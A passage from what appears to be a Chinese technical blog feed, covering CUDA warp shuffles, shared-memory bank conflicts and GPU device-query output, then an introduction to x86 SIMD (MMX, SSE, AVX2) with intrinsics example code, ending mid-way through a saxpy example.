&lt;p&gt;&lt;code&gt;__shfl_sync&lt;/code&gt; (Shuffle Sync) 是最常用的Warp级原语之一。它的目的是：让一个Warp内的线程可以读取&lt;strong&gt;同一个Warp内其他任意线程&lt;/strong&gt;的寄存器中的值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;T __shfl_sync(unsigned mask, T var, int srcLane, int width = warpSize); // = __syncwarp(); + __shfl(...);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unsigned mask&lt;/code&gt;: 这是理解 &lt;code&gt;_sync&lt;/code&gt; 后缀的关键。它是一个32位的掩码，明确指定了&lt;strong&gt;哪些线程必须参与这次shuffle操作&lt;/strong&gt;。只有在&lt;code&gt;mask&lt;/code&gt;中对应位为1的线程，才会参与数据交换。这也是一个&lt;strong&gt;同步保证&lt;/strong&gt;：函数会等待&lt;code&gt;mask&lt;/code&gt;中指定的所有线程都执行到这个&lt;code&gt;__shfl_sync&lt;/code&gt;调用点（即&lt;code&gt;__syncwarp()&lt;/code&gt;），然后才进行数据交换。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;T var&lt;/code&gt;: 当前线程想要“广播”或“发送”出去的变量。这个变量必须存在于寄存器中。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int srcLane&lt;/code&gt;: &lt;strong&gt;源线程&lt;/strong&gt;在Warp内的ID（也叫Lane ID，范围是0-31）。当前线程执行这个函数后，会得到来自&lt;code&gt;srcLane&lt;/code&gt;号线程的&lt;code&gt;var&lt;/code&gt;变量的值。（类比&lt;code&gt;_MM_SHUFFLE()&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;&lt;code&gt;__activemask()&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;__activemask()&lt;/code&gt; 是一个内建函数，它返回一个32位的&lt;code&gt;unsigned int&lt;/code&gt;，代表当前Warp中&lt;strong&gt;所有活动线程&lt;/strong&gt;的掩码。如果Warp中的第&lt;code&gt;i&lt;/code&gt;号线程是活动的（即没有因为分支而被Mask禁用），那么返回值的第&lt;code&gt;i&lt;/code&gt;位就是1，否则是0。
将&lt;code&gt;__activemask()&lt;/code&gt;作为&lt;code&gt;mask&lt;/code&gt;参数传递给&lt;code&gt;__shfl_sync&lt;/code&gt;，是最常见和安全的做法。它告诉shuffle指令：“请在当前所有真正参与计算的线程之间进行数据交换”。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;数组反转代码示例（硬编码版本）&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;__global__ void forkernel(cuda::std::span&amp;lt;int&amp;gt; arr) {
    const int i = blockIdx.x * blockDim.x + threadIdx.x;
    if (i &amp;gt; arr.size() / 2) {
        return;
    }
    const int warpCnt = threadIdx.x / warpSize;
    const int warpIdx = threadIdx.x % warpSize;
    const int j = arr.size() - blockIdx.x * blockDim.x - warpCnt * warpSize - warpSize + warpIdx;
    int tmp = arr[j];
    arr[j] = __shfl_sync(__activemask(), arr[i], warpSize - 1 - warpIdx, warpSize);
    arr[i] = __shfl_sync(__activemask(), tmp, warpSize - 1 - warpIdx, warpSize);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. 共享内存 Bank Conflict**&lt;/h3&gt;
&lt;p&gt;为了实现高带宽访问，&lt;code&gt;__shared__&lt;/code&gt;内存并不是一整块连续的存储器。在物理上，它被划分为&lt;strong&gt;32个等宽的存储体&lt;/strong&gt;(与Warp线程数一致)，称为&lt;strong&gt;Bank&lt;/strong&gt;。这些Bank是&lt;strong&gt;低位交叉编址&lt;/strong&gt;的。对于32位宽的数据，连续的32个&lt;code&gt;int&lt;/code&gt;值会分别存入32个不同的Bank中。（类比DRAM低位交叉编址）&lt;/p&gt;
&lt;p&gt;当一个Warp（32个线程）发起一次访存请求时，硬件会检查这32个线程要访问的地址。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;无冲突并行访问&lt;/strong&gt;：32个线程访问的地址，恰好落在了&lt;strong&gt;32个不同的Bank&lt;/strong&gt;上，那么所有请求可在一个时钟周期内并行处理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;广播访问&lt;/strong&gt;：32个线程访问同一个Bank中的同一个地址，数据被广播给所有请求线程，只需一次传输。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储体冲突&lt;/strong&gt;：如果有多个线程访问的地址，落在了&lt;strong&gt;同一个Bank&lt;/strong&gt;上，就发生了&lt;code&gt;Bank Conflict&lt;/code&gt;，硬件别无选择，只能&lt;strong&gt;串行处理&lt;/strong&gt;对这个Bank的访问。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;n-way Bank Conflict&lt;/strong&gt;：如果有n个线程访问同一个Bank，就需要n个周期。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最常用的技巧是&lt;strong&gt;内存填充 (Padding)&lt;/strong&gt;。
我们将共享内存数组的宽度从32改为33：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__shared__ int tile[32][33];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，&lt;code&gt;tile[row][col]&lt;/code&gt;的字地址是 &lt;code&gt;row * 33 + col&lt;/code&gt;。
它对应的Bank是 &lt;code&gt;(row * 33 + col) % 32&lt;/code&gt; = &lt;code&gt;(row * (32+1) + col) % 32&lt;/code&gt; = &lt;code&gt;(row + col) % 32&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;当Warp 0 (线程0-31)按列访问 &lt;code&gt;tile[t][some_col]&lt;/code&gt; 时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;线程0 访问的Bank是 &lt;code&gt;(0 + some_col) % 32&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;线程1 访问的Bank是 &lt;code&gt;(1 + some_col) % 32&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;线程2 访问的Bank是 &lt;code&gt;(2 + some_col) % 32&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;现在，32个线程访问的Bank ID变成了 &lt;code&gt;some_col&lt;/code&gt;, &lt;code&gt;some_col+1&lt;/code&gt;, &lt;code&gt;some_col+2&lt;/code&gt;, ...，它们各不相同。&lt;strong&gt;Bank Conflict就此消除&lt;/strong&gt;。我们只是付出了一点点额外的共享内存空间，就换来了巨大的性能提升。&lt;/p&gt;
&lt;h3&gt;参考代码：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// nvcc -g -std=c++20 --extended-lambda main.cu &amp;amp;&amp;amp; ./a.out
#include &quot;cudapp.cuh&quot;

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cuda/std/span&amp;gt;
#include &amp;lt;cuda_runtime.h&amp;gt;
#include &amp;lt;nvfunctional&amp;gt;
#include &amp;lt;vector&amp;gt;

using namespace cudapp;

template &amp;lt;class Index, class Func&amp;gt;
__global__ void paralelFor(Index n, Func func) {
    for (Index i = blockIdx.x * blockDim.x + threadIdx.x; i &amp;lt; n; i += gridDim.x * blockDim.x) {
        func(i); // GPTE.Dirty
    }
}

int main() {
    // 400MB, 1亿+int, 在GPU上初始化，并使用统一内存
    std::vector&amp;lt;int, CudaAllocator&amp;lt;int, CudaManagedArena&amp;gt;&amp;gt; arr(100 &amp;lt;&amp;lt; 20);
    int n = arr.size();
    printf(&quot;arr.size() = %d\n&quot;, n);
    CudaStream stream1 = CudaStream::Builder().withNonBlocking().build();
    paralelFor&amp;lt;&amp;lt;&amp;lt;dim3(10), dim3(1024), 0, stream1&amp;gt;&amp;gt;&amp;gt;(arr.size(), [arr = arr.data()] __device__(int i) { arr[i] = i; });
    CudaEvent st = stream1.recordEvent();
    paralelFor&amp;lt;&amp;lt;&amp;lt;dim3(10), dim3(1024), 0, stream1&amp;gt;&amp;gt;&amp;gt;(
        arr.size() / 2, [arr = cuda::std::span&amp;lt;int&amp;gt;(arr.data(), arr.size())] __device__(int i) {
            cuda::std::swap(arr[i], arr[arr.size() - i - 1]); // 内存密集型，可以适当提高blockDim
        });
    CudaEvent ed = stream1.recordEvent();
    CHECK_CUDA(cudaGetLastError()); // 检查内核启动是否成功
    // while (!ed.poll()) {
    //     printf(&quot;waiting...\n&quot;);
    // }
    stream1.join();
    printf(&quot;time bigkernel: %fms\n&quot;, ed - st);
    paralelFor&amp;lt;&amp;lt;&amp;lt;dim3(10), dim3(1024), 0, stream1&amp;gt;&amp;gt;&amp;gt;(
        arr.size(), [arr = cuda::std::span&amp;lt;int&amp;gt;(arr.data(), arr.size())] __device__(int i) {
            if (arr[i] != arr.size() - i - 1) [[unlikely]]
                printf(&quot;%d &quot;, arr[i]);
        });
    // int a;
    // scanf(&quot;%d&quot;, &amp;amp;a);
    // watch -n 1 nvidia-smi
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;else&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# GTX 1060 5GB显卡
cuda-samples 1_Utilities deviceQuery deviceQuery
deviceQuery Starting...

 CUDA Device Query (Runtime API) version (CUDART static linking)

Detected 1 CUDA Capable device(s)

Device 0: &quot;NVIDIA GeForce GTX 1060 5GB&quot;
  CUDA Driver Version / Runtime Version          12.2 / 12.9
  CUDA Capability Major/Minor version number:    6.1  # 计算能力6.1
  Total amount of global memory:                 5053 MBytes (5298716672 bytes)
  (010) Multiprocessors, (128) CUDA Cores/MP:    1280 CUDA Cores  # 10SM × 128核心/SM
  GPU Max Clock rate:                            1709 MHz (1.71 GHz)
  Memory Clock rate:                             4004 Mhz
  Memory Bus Width:                              160-bit
  L2 Cache Size:                                 1310720 bytes  # 1.25M L2
  Maximum Texture Dimension Size (x,y,z)         1D=(131072), 2D=(131072, 65536), 3D=(16384, 16384, 16384)
  Maximum Layered 1D Texture Size, (num) layers  1D=(32768), 2048 layers
  Maximum Layered 2D Texture Size, (num) layers  2D=(32768, 32768), 2048 layers
  Total amount of constant memory:               65536 bytes
  Total amount of shared memory per block:       49152 bytes
  Total shared memory per multiprocessor:        98304 bytes
  Total number of registers available per block: 65536  # 每个Block可用寄存器 65536个
  Warp size:                                     32     # 32 threads
  Maximum number of threads per multiprocessor:  2048   # 每 SM 最大线程  2048 (64个Warp)
  Maximum number of threads per block:           1024   # 每Block最大线程 1024 (32个Warp)
  Max dimension size of a thread block (x,y,z): (1024, 1024, 64)
  Max dimension size of a grid size    (x,y,z): (2147483647, 65535, 65535)
  Maximum memory pitch:                          2147483647 bytes
  Texture alignment:                             512 bytes
  Concurrent copy and kernel execution:          Yes with 2 copy engine(s) # 2个拷贝引擎并行工作
  Run time limit on kernels:                     No
  Integrated GPU sharing Host Memory:            No
  Support host page-locked memory mapping:       Yes
  Alignment requirement for Surfaces:            Yes
  Device has ECC support:                        Disabled
  Device supports Unified Addressing (UVA):      Yes  # 统一虚拟地址
  Device supports Managed Memory:                Yes  # 自动CPU-GPU数据传输
  Device supports Compute Preemption:            Yes  # 计算抢占
  Supports Cooperative Kernel Launch:            Yes  # 多GPU协同计算
  Supports MultiDevice Co-op Kernel Launch:      Yes
  Device PCI Domain ID / Bus ID / location ID:   0 / 35 / 0
  Compute Mode:
     &amp;lt; Default (multiple host threads can use ::cudaSetDevice() with device simultaneously) &amp;gt;

deviceQuery, CUDA Driver = CUDART, CUDA Driver Version = 12.2, CUDA Runtime Version = 12.9, NumDevs = 1
Result = PASS  # CUDA驱动(12.2)与运行时(12.9)版本兼容，所有硬件功能正常启用
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>SIMD 初识</title><link>https://blog.alinche.dpdns.org/posts/ai/cuda/simd/sse/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/ai/cuda/simd/sse/</guid><description>从MMX、SSE到AVX2的性能飞跃</description><pubDate>Sat, 08 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;在追求极致性能的计算世界里，榨干CPU的每一分潜力是开发者永恒的目标。常规的单指令单数据（SISD）处理模式早已无法满足现代应用对数据吞吐量的渴求，尤其是在图形渲染、科学计算、机器学习和多媒体处理等领域。于是，单指令多数据（SIMD）技术应运而生，让CPU能够用一条指令同时处理多个数据，实现了数据层面的并行计算，带来了革命性的性能提升。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1. SIMD的意义：数据并行的力量&lt;/h3&gt;
&lt;p&gt;SIMD(&lt;code&gt;Single Instruction, Multiple Data&lt;/code&gt;): 现代CPU内部都设有专门的&lt;strong&gt;向量处理单元&lt;/strong&gt;(VPU)和&lt;strong&gt;宽位寄存器&lt;/strong&gt;。例如，一个128位的寄存器可以同时容纳4个32位的浮点数或整数，一条SIMD加法指令就能一次性完成这4对数字的相加操作，理论上将性能提升至4倍。&lt;/p&gt;
&lt;h3&gt;2. MMX的历史地位：先行者的探索&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;1997年，英特尔推出了其首个SIMD指令集——MMX(Multi-Media Extension)。 MMX旨在加速多媒体和通信应用，引入了64位寄存器和57条新指令，只用于整数运算。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然而，MMX的设计存在一个关键缺陷：它复用了已有的x87(最早的浮点协处理器 8087, 1979年)浮点运算单元(FPU)的寄存器。 这意味着，程序无法同时执行MMX和浮点运算，两者之间的切换需要耗时的状态管理，这极大地限制了它的应用场景。尽管MMX在商业上不算非常成功，但它作为SIMD技术的先行者，为后续更成熟的指令集铺平了道路，其历史地位不容忽视。&lt;/p&gt;
&lt;h3&gt;3. SSE的知识盛宴与性能剖析&lt;/h3&gt;
&lt;p&gt;为了解决MMX的弊端，英特尔在1999年随奔腾III处理器推出了&lt;strong&gt;SSE&lt;/strong&gt;(&lt;code&gt;Streaming SIMD Extensions&lt;/code&gt;)。 &lt;strong&gt;SSE&lt;/strong&gt;的出现是SIMD发展史上的一个里程碑，它带来了根本性的改进：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;独立的128位寄存器&lt;/strong&gt;：SSE引入了8个全新的128位寄存器（XMM0-XMM7），后续版本扩展至16个（XMM0-XMM15）。这彻底解决了与FPU的冲突，让SIMD计算和浮点计算可以并行不悖。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;浮点数支持&lt;/strong&gt;：SSE原生支持单精度浮点数（32位）的并行计算，这对于图形学和科学计算至关重要。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更丰富的指令集&lt;/strong&gt;：SSE及其后续版本（SSE2, SSE3, SSSE3, SSE4.1, SSE4.2）不断扩充指令，支持了双精度浮点数、更全面的整数类型以及各种数据处理指令。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;代码实战：深入理解SSE Intrinsics&lt;/h4&gt;
&lt;p&gt;要驾驭SIMD的强大力量，我们通常不直接编写汇编代码，而是使用编译器提供的&lt;strong&gt;Intrinsics&lt;/strong&gt;函数。 这些函数看起来像C/C++函数，但它们会由编译器直接翻译成一条或几条对应的机器指令，因此几乎没有函数调用的开销。&lt;/p&gt;
&lt;p&gt;让我们通过分析你提供的代码来逐一拆解SSE的核心操作。这段代码需要使用&lt;code&gt;-msse4.1&lt;/code&gt;这样的编译器标志来启用对应的指令集。&lt;/p&gt;
&lt;h5&gt;3.1 code&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html?wapkw=intrinsics%20guide&amp;amp;techs=SSE_ALL#techs=SSE_ALL&quot;&gt;Intel SSE 手册&lt;/a&gt; （含性能分析）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// g++ -g -std=c++20 -msse4.1 main.cpp &amp;amp;&amp;amp; ./a.out
#pragma GCC diagnostic ignored &quot;-Wignored-attributes&quot;
#include &amp;lt;iomanip&amp;gt;
#include &amp;lt;iostream&amp;gt;
// 下面头文件从下到上为包含关系
// #include &amp;lt;mmmintrin.h&amp;gt; // MMX
#include &amp;lt;xmmintrin.h&amp;gt; // SSE
// #include &amp;lt;emmintrin.h&amp;gt; // SSE2
// #include &amp;lt;pmmintrin.h&amp;gt; // SSE3
// #include &amp;lt;tmmintrin.h&amp;gt; // SSSE3
// #include &amp;lt;smmintrin.h&amp;gt; // SSE4.1
// #include &amp;lt;nmmintrin.h&amp;gt; // SSE4.2
// #include &amp;lt;immintrin.h&amp;gt; // AVX/AVX2/... (建议)
// #include &amp;lt;x86intrin.h&amp;gt; // auto(GCC)

using namespace std;

#define IS_SIMD_TYPE(T, SIMD_TYPE) (is_same_v&amp;lt;remove_cv_t&amp;lt;remove_reference_t&amp;lt;T&amp;gt;&amp;gt;, SIMD_TYPE&amp;gt;)
template &amp;lt;class T&amp;gt;
void print_m128_32(T v, int line = 0) {
    if constexpr (IS_SIMD_TYPE(T, __m128)) {
        const float* f = reinterpret_cast&amp;lt;const float*&amp;gt;(&amp;amp;v);
        cout &amp;lt;&amp;lt; fixed &amp;lt;&amp;lt; setprecision(6) &amp;lt;&amp;lt; &quot;[&quot; &amp;lt;&amp;lt; f[0] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; f[1] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; f[2] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; f[3] &amp;lt;&amp;lt; &quot;]\n&quot;;
    } else if constexpr (IS_SIMD_TYPE(T, __m128i)) {
        const int* i = reinterpret_cast&amp;lt;const int*&amp;gt;(&amp;amp;v);
        cout &amp;lt;&amp;lt; &quot;[&quot; &amp;lt;&amp;lt; i[0] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[1] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[2] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[3] &amp;lt;&amp;lt; &quot;]\n&quot;;
    } else {
        const char* file = __FILE__;
        printf(&quot;unk vec %s:%d\n&quot;, file, line);
    }
}
template &amp;lt;class T&amp;gt;
void print_m128_16(T v, int line = 0) {
    if constexpr (IS_SIMD_TYPE(T, __m128i)) {
        const short* i = reinterpret_cast&amp;lt;const short*&amp;gt;(&amp;amp;v);
        cout &amp;lt;&amp;lt; &quot;[&quot; &amp;lt;&amp;lt; i[0] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[1] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[2] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[3] //
             &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[4] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[5] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[6] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; i[7] &amp;lt;&amp;lt; &quot;]\n&quot;;
    } else {
        const char* file = __FILE__;
        printf(&quot;unk vec %s:%d\n&quot;, file, line);
    }
}
template &amp;lt;class T&amp;gt;
void print_m128_64(T v, int line = 0) {
    if constexpr (IS_SIMD_TYPE(T, __m128d)) {
        const double* d = reinterpret_cast&amp;lt;const double*&amp;gt;(&amp;amp;v);
        cout &amp;lt;&amp;lt; fixed &amp;lt;&amp;lt; setprecision(6) &amp;lt;&amp;lt; &quot;[&quot; &amp;lt;&amp;lt; d[0] &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; d[1] &amp;lt;&amp;lt; &quot;]\n&quot;;
    } else {
        const char* file = __FILE__;
        printf(&quot;unk vec %s:%d\n&quot;, file, line);
    }
}

#define PRINT32(v) print_m128_32(v, __LINE__)
#define PRINT16(v) print_m128_16(v, __LINE__)
#define PRINT64(v) print_m128_64(v, __LINE__)

// 历史遗留问题：MMX 第一个 SIMD 指令集只支持整数运算。故 SSE(Streaming SIMD Extensions)的叫epi
// mm: MultiMedia Extension
// ps: Packed Single-precision floating-point, pd: Packed Double-precision floating-point
// si: Signed Integer
// epu: Extended Packed Unsigned integer
int main() {
    {
        // 基础运算与数据类型 and 类型转换与舍入模式
        float x = 1.5, y = 2.5, z = 2.6, w = -3.5;
        __m128 m = _mm_setr_ps(x, y, z, w);
        __m128 one = _mm_set1_ps(1.0f);
        m = _mm_add_ps(m, one);
        m = _mm_sub_ps(m, one);
        m = _mm_mul_ps(m, one);
        PRINT32(m);
        __m128i mi = _mm_castps_si128(m); // 无生成指令，按位读取
        PRINT32(mi);
        _MM_SET_ROUNDING_MODE(_MM_ROUND_NEAREST); // 默认，四舍五往偶数取整六入（考虑对全.5的数据不那么影响期望）
        // _MM_SET_ROUNDING_MODE(_MM_ROUND_DOWN);
        // _MM_SET_ROUNDING_MODE(_MM_ROUND_UP);
        // _MM_SET_ROUNDING_MODE(_MM_ROUND_TOWARD_ZERO);
        mi = _mm_cvtps_epi32(m);
        PRINT32(mi);
        mi = _mm_cvttps_epi32(m); // convert truncate: _MM_ROUND_TOWARD_ZERO
        PRINT32(mi);
    }
    {
        __m128i m = _mm_setr_epi16(1, 2, 3, 4, 5, 6, 7, 8);
        __m128i two = _mm_set1_epi16(2);
        __m128i tmp;
        tmp = _mm_mulhi_epi16(m, two);
        PRINT16(tmp);
        tmp = _mm_mullo_epi16(m, two);
        PRINT16(tmp);
    }
    {
        // 广播 与 Shuffle
        __m128i mi = _mm_setr_epi32(1, 2, 3, 4);
        mi = _mm_shuffle_epi32(mi, _MM_SHUFFLE(3, 2, 1, 0)); // 要反着看（
        PRINT32(mi);
        mi = _mm_shuffle_epi32(mi, _MM_SHUFFLE(2, 2, 0, 1)); // 这个参数是立即数，只能填常量
        PRINT32(mi);
        mi = _mm_shuffle_epi32(mi, 0x55); // 广播第二个元素(索引为1)
        PRINT32(mi);

        __m128 m1 = _mm_setr_ps(1, 2, 3, 4);
        __m128 m2 = _mm_setr_ps(5, 6, 7, 8);
        __m128 m = _mm_shuffle_ps(m1, m2, _MM_SHUFFLE(3, 2, 1, 0));
        PRINT32(m);
        m = _mm_shuffle_ps(m1, m2, _MM_SHUFFLE(3, 1, 2, 0));
        PRINT32(m);
        printf(&quot;\n&quot;);
        // 向量水平求和: m1.sum()
        auto horizontal_sum = [](__m128 v) -&amp;gt; float {
            __m128 tmp = _mm_shuffle_ps(v, v, _MM_SHUFFLE(2, 3, 0, 1));
            __m128 sums = _mm_add_ps(v, tmp);
            tmp = _mm_shuffle_ps(sums, sums, _MM_SHUFFLE(1, 0, 3, 2));
            return _mm_cvtss_f32(_mm_add_ss(sums, tmp));
        };
        __m128 tmp = _mm_shuffle_ps(m1, m1, _MM_SHUFFLE(2, 3, 0, 1));
        PRINT32(tmp);
        tmp = _mm_add_ps(m1, tmp);
        PRINT32(tmp);
        m1 = _mm_shuffle_ps(tmp, tmp, _MM_SHUFFLE(1, 0, 3, 2));
        m1 = _mm_add_ps(m1, tmp);
        PRINT32(m1);
        float sum = _mm_cvtss_f32(m1);
        printf(&quot;m1 sum = %f\n&quot;, sum);
        printf(&quot;m2 sum = %f\n\n&quot;, horizontal_sum(m2));
    }
    {
        // Load and Store
        // 高效构造 f[]
        int _space = 0;
        float f[4] = {1, 2, 3, 4};
        alignas(32) __m128 m = _mm_loadu_ps(f); // _mm_load_ps(), _mm_load_ss(), _mm_load1_ps()
        PRINT32(m);
        float a[4];
        _mm_storeu_ps(a, m);
        for (float f : a) {
            printf(&quot; %f &quot;, f);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3.2 &lt;code&gt;-msse4.1&lt;/code&gt;函数方法性能开销探讨&lt;/h5&gt;
&lt;p&gt;这是一个开发者普遍关心的问题：使用 SSE intrinsics 和相关的编译器标志会带来多大的开销？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;编译器标志 (&lt;code&gt;-msse4.1&lt;/code&gt;) 的作用&lt;/strong&gt;：这个标志本身&lt;strong&gt;不产生运行时开销&lt;/strong&gt;。它的作用是告知编译器，你的目标CPU支持SSE4.1指令集。这使得编译器在代码生成阶段可以自由使用这些高效的指令。 如果不开启此标志，编译器要么无法识别intrinsic函数，要么可能会用一系列低效的标量指令来模拟它，导致性能大幅下降。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intrinsic函数的开销&lt;/strong&gt;：如前所述，Intrinsic函数并非真正的函数调用。它们是给编译器的“内联提示”，会被直接替换成相应的汇编指令。 因此，&lt;strong&gt;不存在传统意义上的函数调用开销&lt;/strong&gt;（如压栈、跳转等）。其成本就是底层汇编指令本身的成本，包括指令的&lt;strong&gt;延迟(Latency)&lt;strong&gt;和&lt;/strong&gt;吞吐量(Throughput)&lt;/strong&gt;（e.g. _mm_add_ps() Latency=4, Throughput=0.5CPI）。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;延迟&lt;/strong&gt;：指一条指令从开始执行到结果可用的时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;吞吐量(&lt;code&gt;CPI&lt;/code&gt;)&lt;/strong&gt;：指CPU每个时钟周期可以开始执行多少条同类指令。&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;horizontal_sum&lt;/code&gt;的例子中，数据之间存在依赖关系（后一次加法依赖前一次的结果），此时性能瓶颈主要受延迟影响。而在没有数据依赖的大规模循环中，吞吐量则更为关键。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;潜在的性能陷阱&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内存对齐&lt;/strong&gt;：像&lt;code&gt;_mm_load_ps&lt;/code&gt;这样的指令要求内存地址是16字节对齐的。如果地址不对齐，程序会崩溃。代码中使用的&lt;code&gt;_mm_loadu_ps&lt;/code&gt;（&lt;code&gt;u&lt;/code&gt;代表unaligned）可以在不对齐的内存上工作，但在旧架构的CPU上可能会有性能损失。现代CPU对非对齐加载的惩罚已经很小，但为了极致性能，数据对齐仍是一个好习惯。但从工程稳定性来说，可以使用_mm_loadu_ps方法保证程序稳定性（&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSE/AVX混合惩罚&lt;/strong&gt;：这是一个非常关键且隐蔽的性能杀手。当代码中同时包含256位的AVX指令和传统的（非VEX编码的）SSE指令时，CPU在两者之间切换会产生巨大的性能开销（可能高达几十个时钟周期）。 这是因为CPU需要保存或恢复YMM寄存器的高128位。 解决方法是使用&lt;code&gt;-mavx&lt;/code&gt;编译整个项目，让编译器为SSE指令也使用VEX编码，或者在AVX代码块之后手动调用&lt;code&gt;_mm256_zeroupper()&lt;/code&gt;来清空高位，避免切换惩罚。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;4. AVX2：性能的再次飞跃&lt;/h3&gt;
&lt;p&gt;如果说SSE是SIMD的成熟之作，那么AVX/AVX2(&lt;code&gt;Advanced Vector Extensions 2&lt;/code&gt;)就是它的威力加强版，于2011年由Intel推出，并在Haswell架构中引入AVX2。&lt;/p&gt;
&lt;p&gt;AVX2带来了两大核心提升：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;256位寄存器&lt;/strong&gt;：AVX2将SIMD寄存器宽度从128位(XMM)翻倍到256位(YMM)。 这意味着，一条指令可以同时处理8个单精度浮点数或4个双精度浮点数，理论吞吐量直接翻倍。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更强的指令集&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;三操作数指令&lt;/strong&gt;：SSE指令通常是&lt;code&gt;a = a + b&lt;/code&gt;的形式，会破坏一个源操作数。AVX引入了非破坏性的&lt;code&gt;c = a + b&lt;/code&gt;三操作数形式，减少了不必要的数据拷贝，使代码更高效、更易读。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FMA (Fused Multiply-Add)&lt;/strong&gt;：融合乘加指令（如&lt;code&gt;_mm256_fmadd_ps&lt;/code&gt;）可以在一个步骤内完成&lt;code&gt;a * b + c&lt;/code&gt;的操作。这不仅提升了计算密度，还通过单次舍入提高了精度，是科学计算和机器学习中的大杀器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完善的整数指令&lt;/strong&gt;：AVX2极大地增强了对256位整数向量的支持，弥补了AVX1的不足。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gather指令&lt;/strong&gt;：允许从非连续的内存位置高效地加载数据到向量寄存器中，对于处理稀疏数据非常有用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;从SSE迁移到AVX2，对于数据密集型应用来说，性能提升通常是显著的。在理想情况下，计算密集且内存带宽充足的应用可以获得接近2倍的性能提升。&lt;/p&gt;
&lt;h3&gt;其他示例代码：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// g++ -g -std=c++20 -mavx2 -mfma saxpy.cpp -lbenchmark -lgtest -lopenblas -lpthread &amp;amp;&amp;amp; ./a.out
// --- saxpy ---
// __restrict 承诺指针的无内存重叠，无需每次访问都从内存中重新读取
[[gnu::optimize(&quot;O2&quot;)]] void saxpy1(int n, float a, const float* __restrict x, float* __restrict y) {
    for (int i = 0; i &amp;lt; n; ++i) {
        y[i] = a * x[i] + y[i];
    }
}
// __m128 优化
[[gnu::optimize(&quot;O2&quot;)]] void saxpy2(int n, float a, const float* __restrict x, float* __restrict y) {
    const __m128 A = _mm_set1_ps(a); // 广播
    int i = 0;
